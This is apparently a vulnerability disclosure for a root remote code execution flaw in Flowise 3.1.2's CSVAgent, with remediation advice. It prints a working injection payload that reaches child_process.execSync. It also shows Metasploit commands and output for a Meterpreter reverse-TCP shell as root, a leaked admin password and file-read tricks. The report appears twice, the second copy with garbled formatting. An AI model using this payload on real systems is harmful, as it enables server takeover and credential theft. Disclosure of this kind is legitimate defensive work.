UPDATE 2026-05-20: Full RCE as root VERIFIED
This is not theoretical — a Meterpreter reverse shell session as root has been established on Flowise 3.1.2.
Verified Exploit Chain
- Python code injection via
base64_string = "${base64String}" (CSVAgent.ts line 161)
- Pyodide
js bridge provides access to the host Node.js process
process.mainModule.constructor._load('child_process') loads child_process (bypasses ESM require restriction)
.execSync('CMD') executes arbitrary OS commands as root (PID 1 in container)
Working RCE Payload
";import js;e=js.globalThis.eval;e("process.mainModule.constructor._load('child_process').execSync('id')");#
Constraint: No commas allowed in payload — csvFile.split(',') splits on all commas.
Metasploit Session Proof
msf > use exploit/multi/http/flowise_csv_agent_rce
msf > set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp
msf > exploit
[+] Authentication successful
[+] Created chatflow: b6716feb-63c8-4fd2-993f-cd43788704b4
[*] Sending stage (3090404 bytes) to 172.17.0.2
[*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.17.0.2:41422)
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : cbce3fb352b7
OS : Linux 6.8.0-111-generic
Architecture : x64
Meterpreter : x64/linux
meterpreter > shell
# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)
# uname -a
Linux cbce3fb352b7 6.8.0-111-generic x86_64 Linux
Additional Verified Impact
Credential Theft:
FLOWISE_PASSWORD=admin123
DATABASE_PATH=/root/.flowise
APIKEY_PATH=...
Arbitrary File Read via process.binding('fs').readFileUtf8('/etc/hostname') → cbce3fb352b7
Server DoS — certain native binding calls (spawn_sync) crash the Node.js process entirely.
CVSS v3.1: 9.9 CRITICAL
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Original Report (below)
Vulnerable Code
File: packages/components/nodes/agents/CSVAgent/CSVAgent.ts
Lines 133-138 — Unsanitized string extraction from data URI via file.split(',').pop().pop() — no validation on content.
Lines 155-171 — Direct interpolation into executable Python code:
base64_string = "${base64String}" is inserted into a Python string literal via JS template literal. If the string contains a closing double-quote followed by Python code, it breaks out of the string context.
validatePythonCodeForDataFrame() denylist is only applied to LLM-generated code at line 198, NOT to this initial code block at line 171.
Remediation
Option 1 (Best): Use pyodide.globals.set('base64_string', base64String) instead of string interpolation
Option 2: Validate base64 before interpolation — reject if not matching /^[A-Za-z0-9+/=]*$/
Option 3: Escape special characters (", \n, \r, \\) before interpolation
Related CVEs
Disclosure: Identified with AI assistance (Claude Code). Analysis, verification, and Metasploit module by S9S Bounty-LAB / Kamal Sentassi.
UPDATE 2026-05-20: Full RCE as root VERIFIED
This is not theoretical — a Meterpreter reverse shell session as root has been established on Flowise 3.1.2.
Verified Exploit Chain
base64_string = "${base64String}"(CSVAgent.ts line 161)jsbridge provides access to the host Node.js processprocess.mainModule.constructor._load('child_process')loads child_process (bypasses ESM require restriction).execSync('CMD')executes arbitrary OS commands as root (PID 1 in container)Working RCE Payload
Constraint: No commas allowed in payload —
csvFile.split(',')splits on all commas.Metasploit Session Proof
Additional Verified Impact
Credential Theft:
Arbitrary File Read via
process.binding('fs').readFileUtf8('/etc/hostname')→cbce3fb352b7Server DoS — certain native binding calls (spawn_sync) crash the Node.js process entirely.
CVSS v3.1: 9.9 CRITICAL
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:HOriginal Report (below)
Vulnerable Code
File:
packages/components/nodes/agents/CSVAgent/CSVAgent.tsLines 133-138 — Unsanitized string extraction from data URI via
file.split(',').pop().pop()— no validation on content.Lines 155-171 — Direct interpolation into executable Python code:
base64_string = "${base64String}"is inserted into a Python string literal via JS template literal. If the string contains a closing double-quote followed by Python code, it breaks out of the string context.validatePythonCodeForDataFrame()denylist is only applied to LLM-generated code at line 198, NOT to this initial code block at line 171.Remediation
Option 1 (Best): Use
pyodide.globals.set('base64_string', base64String)instead of string interpolationOption 2: Validate base64 before interpolation — reject if not matching
/^[A-Za-z0-9+/=]*$/Option 3: Escape special characters (
",\n,\r,\\) before interpolationRelated CVEs
Disclosure: Identified with AI assistance (Claude Code). Analysis, verification, and Metasploit module by S9S Bounty-LAB / Kamal Sentassi.